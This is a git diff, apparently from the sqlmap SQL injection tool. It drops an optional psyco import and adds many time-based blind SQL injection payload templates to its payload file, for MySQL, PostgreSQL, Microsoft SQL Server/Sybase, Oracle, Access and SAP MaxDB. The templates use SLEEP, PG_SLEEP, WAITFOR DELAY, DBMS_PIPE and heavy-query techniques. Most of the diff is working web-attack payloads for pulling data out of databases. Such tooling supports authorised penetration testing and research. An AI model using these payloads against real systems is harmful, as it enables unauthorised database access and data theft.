diff --git a/_sqlmap.py b/_sqlmap.py index 5b5c867e7..7d6e97cc9 100755 --- a/_sqlmap.py +++ b/_sqlmap.py @@ -14,13 +14,6 @@ import warnings warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) -try: - import psyco - psyco.full() - psyco.profile() -except ImportError: - pass - from lib.controller.controller import start from lib.core.common import banner from lib.core.common import dataToStdout diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf index ee0042486..6abc825a4 100644 Binary files a/doc/FAQ.pdf and b/doc/FAQ.pdf differ diff --git a/doc/README.pdf b/doc/README.pdf index 5dfdcbd03..bc50edebb 100644 Binary files a/doc/README.pdf and b/doc/README.pdf differ diff --git a/xml/payloads.xml b/xml/payloads.xml index e60b513f5..ff129c8fb 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -76,7 +76,7 @@ Tag: 2: Error-based SQL injection 3: UNION query SQL injection 4: Stacked queries SQL injection - 5: AND/OR time-based blind SQL injection + 5: Time-based blind SQL injection Sub-tag: From which level check for this test. @@ -2836,12 +2836,209 @@ Formats: + + + MySQL time-based blind - Parameter replace (MAKE_SET) + 5 + 3 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + + MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (ELT) + 5 + 4 + 1 + 1,2,3 + 3 + ELT([INFERENCE],SLEEP([SLEEPTIME])) + + ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (bool*int) + 5 + 4 + 1 + 1,2,3 + 3 + ([INFERENCE])*SLEEP([SLEEPTIME]) + + ([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME]) + + + + +
+ MySQL +
+ + + + MySQL >= 5.0 time-based blind - Parameter replace + 5 + 3 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + + +
+ MySQL + >= 5.0 +
+ + + + MySQL < 5.0 time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + + +
+ MySQL +
+ + + + + PostgreSQL time-based blind - Parameter replace (GENERATE_SERIES) + 5 + 3 + 2 + 1,2,3 + 3 + (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+ + + + Oracle time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ + + + Microsoft Access time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + IIF([INFERENCE],[ORIGVALUE],1/0) + + IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + + +
+ Microsoft Access +
+ + + + SAP MaxDB time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + + +
+ SAP MaxDB +
+ + + + MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses 5 3 - 2 + 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) @@ -2849,7 +3046,7 @@ Formats: ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - +
MySQL @@ -2858,7 +3055,7 @@ Formats: - MySQL < 5.0.12 boolean-based blind - GROUP BY and ORDER BY clauses (heavy query) + MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clauses (heavy query) 5 4 2 @@ -2875,7 +3072,126 @@ Formats: MySQL
- + + + PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL time-based blind - GROUP BY and ORDER BY clauses (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind - ORDER BY clauses + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+ + + + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+ + + + Oracle time-based blind - GROUP BY and ORDER BY clauses + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ + + + Oracle time-based blind - GROUP BY and ORDER BY clauses (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ +